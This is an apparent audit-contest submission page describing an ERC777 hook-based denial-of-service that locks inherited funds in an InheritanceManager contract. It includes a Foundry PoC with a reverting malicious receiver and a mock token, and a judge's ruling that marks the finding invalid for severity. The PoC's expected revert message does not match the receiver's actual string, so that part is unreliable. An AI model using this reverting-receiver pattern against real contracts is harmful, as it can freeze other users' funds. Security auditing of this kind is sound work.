Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Invalid

Lock of funds by DoS attack in withdrawInheritedFunds()

Summary

The withdrawInheritedFunds function is vulnerable to ERC777 token-based denial-of-service (DoS) attacks, allowing a malicious beneficiary to permanently lock all inherited funds.

Vulnerability Details

The vulnerability exists because:

  • Token distribution is atomic (all-or-nothing)

  • ERC777 tokensReceived hooks allow recipients to revert transfers

  • Failed transfers abort the entire withdrawal process

Attack flow:

  1. Malicious beneficiary deploys contract reverting in tokensReceived

  2. Regular withdrawal attempt triggers malicious hook

  3. Entire transaction reverts, locking funds permanently

    PoC:

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.26;
    import "forge-std/Test.sol";
    import "../../src/InheritanceManager.sol";
    contract ERC777DoSTest is Test {
    InheritanceManager public target;
    MockERC777 public token;
    MaliciousReceiver public attacker;
    address public normalBeneficiary1;
    address public normalBeneficiary2;
    function setUp() public {
    // Deploy contracts
    target = new InheritanceManager();
    token = new MockERC777("Test Token", "TEST");
    // Create beneficiaries
    normalBeneficiary1 = makeAddr("normalBeneficiary1");
    normalBeneficiary2 = makeAddr("normalBeneficiary2");
    attacker = new MaliciousReceiver();
    // Setup the inheritance state
    target.addBeneficiery(address(attacker));
    target.addBeneficiery(normalBeneficiary1);
    target.addBeneficiery(normalBeneficiary2);
    // Wait for inheritance period
    vm.warp(block.timestamp + 91 days);
    // Activate inheritance
    vm.prank(normalBeneficiary1);
    target.inherit();
    // Fund the inheritance contract with tokens
    token.mint(address(target), 1000 ether);
    }
    function testERC777DoSAttack() public {
    // Configure attacker to block transactions
    attacker.setShouldRevert(true);
    // Attempt withdrawal by normal beneficiary
    vm.prank(normalBeneficiary1);
    vm.expectRevert();
    target.withdrawInheritedFunds(address(token));
    // Verify tokens remain locked in the contract
    assertEq(token.balanceOf(address(target)), 1000 ether, "Tokens should remain locked in target");
    assertEq(token.balanceOf(normalBeneficiary1), 0, "Normal beneficiary should not receive tokens");
    assertEq(token.balanceOf(normalBeneficiary2), 0, "Normal beneficiary should not receive tokens");
    assertEq(token.balanceOf(address(attacker)), 0, "Attacker should not receive tokens");
    // Show that even the attacker cannot withdraw (DoS affects everyone)
    vm.prank(address(attacker));
    vm.expectRevert("Attack: Blocking token transfer");
    target.withdrawInheritedFunds(address(token));
    console.log("ERC777 DoS Attack: Funds are locked");
    }
    }
    // Minimal ERC777 implementation
    contract MockERC777 {
    mapping(address => uint256) private _balances;
    string private _name;
    string private _symbol;
    constructor(string memory name_, string memory symbol_) {
    _name = name_;
    _symbol = symbol_;
    }
    function name() public view returns (string memory) {
    return _name;
    }
    function symbol() public view returns (string memory) {
    return _symbol;
    }
    function balanceOf(address account) public view returns (uint256) {
    return _balances[account];
    }
    function mint(address account, uint256 amount) public {
    _balances[account] += amount;
    }
    // This is the key function that simulates ERC777 behavior
    function transfer(address recipient, uint256 amount) public returns (bool) {
    _balances[msg.sender] -= amount;
    // Call tokensReceived on the recipient if it's a contract
    if (recipient.code.length > 0) {
    try MaliciousReceiver(recipient).tokensReceived(msg.sender, msg.sender, recipient, amount, "", "") {
    _balances[recipient] += amount;
    return true;
    } catch Error(string memory reason) {
    // If the recipient reverts, revert the whole transaction
    revert(reason);
    } catch {
    revert("ERC777: token recipient reverted");
    }
    }
    _balances[recipient] += amount;
    return true;
    }
    }
    // Simplified malicious receiver
    contract MaliciousReceiver {
    bool public shouldRevert;
    function setShouldRevert(bool _shouldRevert) external {
    shouldRevert = _shouldRevert;
    }
    function tokensReceived(
    address operator,
    address from,
    address to,
    uint256 amount,
    bytes memory userData,
    bytes memory operatorData
    ) external {
    // DoS attack - block the token transfer
    if (shouldRevert) {
    revert("Attack: Block the transfer");
    }
    }
    }

Impact

  • All inherited erc777 funds become permanently inaccessible

  • Affects all beneficiaries, not just the malicious actor

Tools Used

  • Foundry

  • Manual code analysis

Recommendations

  1. Implement individual withdraws to prevent other users from locking the funds

Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.